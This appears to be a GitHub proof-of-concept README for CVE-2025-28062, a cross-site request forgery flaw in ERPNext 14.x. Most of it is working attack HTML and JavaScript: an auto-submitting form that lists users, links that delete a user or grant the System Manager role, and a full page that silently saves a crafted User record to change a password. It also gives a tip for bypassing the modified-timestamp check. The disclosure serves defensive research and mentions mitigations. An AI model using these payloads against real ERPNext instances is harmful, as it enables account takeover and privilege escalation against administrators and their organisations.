thvt0ne/cve-2025-28062proof of concept
A Cross-Site Request Forgery (CSRF) vulnerability was discovered in ERPNext 14.82.1 and 14.74.3, allowing attackers to perform unauthorized actions such as:
The vulnerability stems from a lack of CSRF protection on critical administrative API endpoints. If an authenticated administrator visits a malicious website, their session is abused to perform these actions without consent.
<form method="GET" action="http://localhost:8080/api/method/frappe.desk.reportview.get">
<input type="hidden" name="doctype" value="User">
<input type="hidden" name="fields" value='["name", "user_type", "enabled"]'>
<input type="hidden" name="view" value="List">
<input type="hidden" name="page_length" value="100">
<input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
<a href="http://localhost:8080/api/method/frappe.desk.reportview.delete_items?items=%5B%221%401.com%22%5D&doctype=User">
Click to delete user
</a>
<a href="http://localhost:8080/api/method/frappe.desk.form.save.savedocs?doc=REDACTED_PAYLOAD&action=Save">
Add "System Manager" role to user
</a>
💡 See full JSON payload in the repo:
/PoCs/privilege_escalation.html
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack</title>
</head>
<body>
<script>
function performCSRF() {
// Target API URL
var targetUrl = "http://localhost:8080/api/method/frappe.desk.form.save.savedocs";
// JSON Payload
var jsonPayload = JSON.stringify({"name":"[email protected]","owner":"Administrator","creation":"2025-02-09 03:50:24.709718","modified":"2025-02-09 09:49:02.334015","modified_by":"Administrator","docstatus":0,"idx":0,"enabled":1,"email":"[email protected]","first_name":"sdfvfvdfv","full_name":"sdfvfvdfv","username":"sdfvfvdfv","language":"en","time_zone":"America/Adak","send_welcome_email":1,"unsubscribed":0,"mute_sounds":0,"desk_theme":"Light","search_bar":1,"notifications":1,"list_sidebar":1,"bulk_actions":1,"view_switcher":1,"form_sidebar":1,"timeline":1,"dashboard":1,"new_password":"User123!@#","logout_all_sessions":1,"reset_password_key":"e801df93fa208e01314c981192fa842e63838d13bd75a76cba97d005d9eee513","last_reset_password_key_generated_on":"2025-02-09 03:50:25.700259","document_follow_notify":0,"document_follow_frequency":"Daily","follow_created_documents":0,"follow_commented_documents":0,"follow_liked_documents":0,"follow_assigned_documents":0,"follow_shared_documents":0,"thread_notify":1,"send_me_a_copy":0,"allowed_in_mentions":1,"simultaneous_sessions":2,"login_after":0,"user_type":"Website User","login_before":0,"bypass_restrict_ip_check_if_2fa_enabled":0,"onboarding_status":"{}","doctype":"User","roles":[],"defaults":[],"block_modules":[],"social_logins":[{"name":"qvh4mjk9r2","owner":"Administrator","creation":"2025-02-09 03:50:25.190297","modified":"2025-02-09 03:50:25.190297","modified_by":"Administrator","docstatus":0,"idx":1,"provider":"frappe","userid":"575ca3b88fc3d1fa8d2d7f419b0af0f156ff912","parent":"[email protected]","parentfield":"social_logins","parenttype":"User","doctype":"User Social Login"}],"user_emails":[],"__onload":{"all_modules":["Accounts","Assets","Automation","Bulk Transaction","Buying","CRM","Communication","Contacts","Core","Custom","Desk","EDI","ERPNext Integrations","Email","Geo","Integrations","Maintenance","Manufacturing","Portal","Printing","Projects","Quality Management","Regional","Selling","Setup","Social","Stock","Subcontracting","Support","Telephony","Utilities","Website","Workflow"]},"__last_sync_on":"2025-02-09T14:20:52.310Z","__unsaved":1});
var encodedPayload = (jsonPayload);
// Create and submit the form
var form = document.createElement("form");
form.method = "GET";
form.action = targetUrl;
form.enctype = "application/x-www-form-urlencoded";
var input = document.createElement("input");
input.type = "hidden";
input.name = "doc"; // Correct parameter name
input.value = encodedPayload; // Correct encoding
var input2 = document.createElement("input");
input2.type = "hidden";
input2.name = "action"; // Correct parameter name
input2.value = "Save"; // Correct encoding
form.appendChild(input);
form.appendChild(input2);
document.body.appendChild(form);
form.submit();
}
// Execute CSRF after waiting to ensure cookies are set
setTimeout(performCSRF, 3000);
</script>
</body>
</html>
This picture simulates that admin entered any malicious website:
Note: if Modified Timestamps is old website can give this message:
and to bypass it use http:// localhost:8080/api/resource/User/[email protected][owner] html page and take the Modified timestamp (to make it easier for PoC).
Change it in the page content to be the newer one :
Once you send it it will change the password of the User!!.
If an authenticated admin user visits this webpage, their session will be used to execute the account password changing request without any user interaction.
An attacker hosts a malicious page. If an ERPNext admin visits it while logged in, their browser automatically triggers crafted requests to ERPNext, causing account modifications or deletions without their knowledge.
GET requests for actions like save/deleteSameSite=StrictDiscovered by Ahmed Thaiban Thvt0ne.
This research is intended for defensive purposes only. The goal is to raise awareness and encourage secure development practices.